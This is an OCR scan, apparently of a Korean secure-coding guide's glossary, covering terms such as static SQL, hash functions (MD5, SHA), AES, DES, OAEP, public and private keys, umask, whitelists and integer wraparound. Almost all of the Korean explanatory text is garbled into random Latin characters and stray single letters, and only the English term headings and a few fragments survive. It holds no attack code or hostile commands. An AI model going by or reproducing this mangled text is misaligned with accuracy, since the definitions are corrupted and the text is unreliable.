ZHgdske FEREA A B (A A ] BEH FH)S wiAlsty] 1% Aol 29 (Secure

I

hva

s el

—[ﬂ

Coding)’ & °|w| gttt ol
2
oz

» aZES o] Hetehy o

AZEGO] AF, 0F 5O 4 5 Aolu FAL Y Hsyol At A B ¥

s #3i, o2t

iy o
Mo

" AZEHS] Btk o
A

AHET
AEAGAN 2ssEge] 2TE] BHAFHS 3] Akl AgoE E7F BE

» AZE] Rotokd A
azEgo] Helebgol dolgleA] Audte] A Weke £YPsa 2N A% H9l S BFL

FYsHe AE TH

_‘

= AT (Critical Section)
B AFEAA & ol

2 5
AA)e Foste 2Ee] YRE BT

>
2
m

!
)
R
rlr
rO
)
rlr
ot
o
N
e
=
il
-
B
A
rlr

. AR
PuoEe BEItel BB L TR P BF Y Fhel ATE WA
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» 37 SQL(Static SQL)
4 SQLY =] ZEIF Axd ofn] HojFo] dAHI G H o QT

" AARA A 2
AR WENAZIH UF HEHT BE Y AxdoR FU8E 34 B = wgy
Mol BT e AALOE BA S BokA B,

A g5
A PRAM 13D Dolo] g AULE YT A4

= 3
oz H
3kth. MD5, SHA, SHA-1, SHA-256 S9] &agZo] it}

olm) WAE Fhe a4l wolet

RN

= AES(Advanced Encryption Standard)

v AR XF0E AGE E5 45 PO = o] DESE tASH, vlw F Ve AT
A(NIST)7F 539 B8 A4S A 2001 119 26l ¥ FRA 2 FEF(FIPS 197) 2.2
sk

» DES ¢iEF
DES(Data Encryption Standard)t &+ ¢E3}7]¢F £353517]7F 22 7] G35 = 64HI E Y
453}l 7|15 AME3toh. A 432 (Brute Force)d 2ol <F3}ct.

= HTTPS(Hypertext Transfer Protocol over Secure Socket Layer)
AU T4l ZE2EZQ] HITPS Hko] Zste wHoltt

= ISC2(International Information Systems Security Certification Consortium)
22 AA 9 Hets AYA F e B AEZTIet ARES AEVF A4S Jhdel ¥4l e
=4 22 50] 19890l ALAAE FPste] HYI 2otk

= LDAP(Lightweight Directory Access Protocol)
TCP/IP 9ollA H&AE g AR2E 23|80 FAsIe §8§ ZEEIo|th

= OAEP(Optimal Asymmetric Encryption Padding)
Bellare®} Rogaway®ll a4 &7 RSAE Hdle ¢S @O =2 A 4H padding scheme
ot

® Private Key
T A erEzA A7 Y okEE 5}
Ae 7loltk

Wl

Al Mg HAANE w3 FAAT] Far

= Public Key

/M7= ARE A7l o8 AFE= 7] gz, of F/NTIRREEH AR A7k
A Aol WiAA B AL hESste adow AgE o At FHTE A
s Azde FA7 nTEe dh
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= SHA(Secure Hash Algorithm)

4l daEFel YFoE MD5O  HOAHS it AR&3th. SHA, SHA-L,
SHA-2(SHA-224, SHA-256, SHA-384, SHA-512) 59| thast Mzlo] 9lom, s T2 EZQ]
TLS, SSL, PGP, SSH, IPSec 5ol AF&# T},

= RC5
1994 RSA SecurityA+9] Ronald Rivestoll 93 1¢td &= 453l daelFolnh

= Umask

s E=e= HadHe e d3-e AAshr] g PH@ojolt

= Whitelist
e 2 EBlack Lis)ol W) d o2 AT 5 g AolEL P 4 B8
2, 498 5 e 2ot BA49Y 25 2o,

o
o

o) v @

Sl

= Wraparound
int & longo & A oH

2
Mol FrE &4, &

il
A
R

9] grol FAXE 43S 7%, MSB(Most Significant Bit)7}
2 A3tE T

olo

to

A

ng
o2k

A
rar
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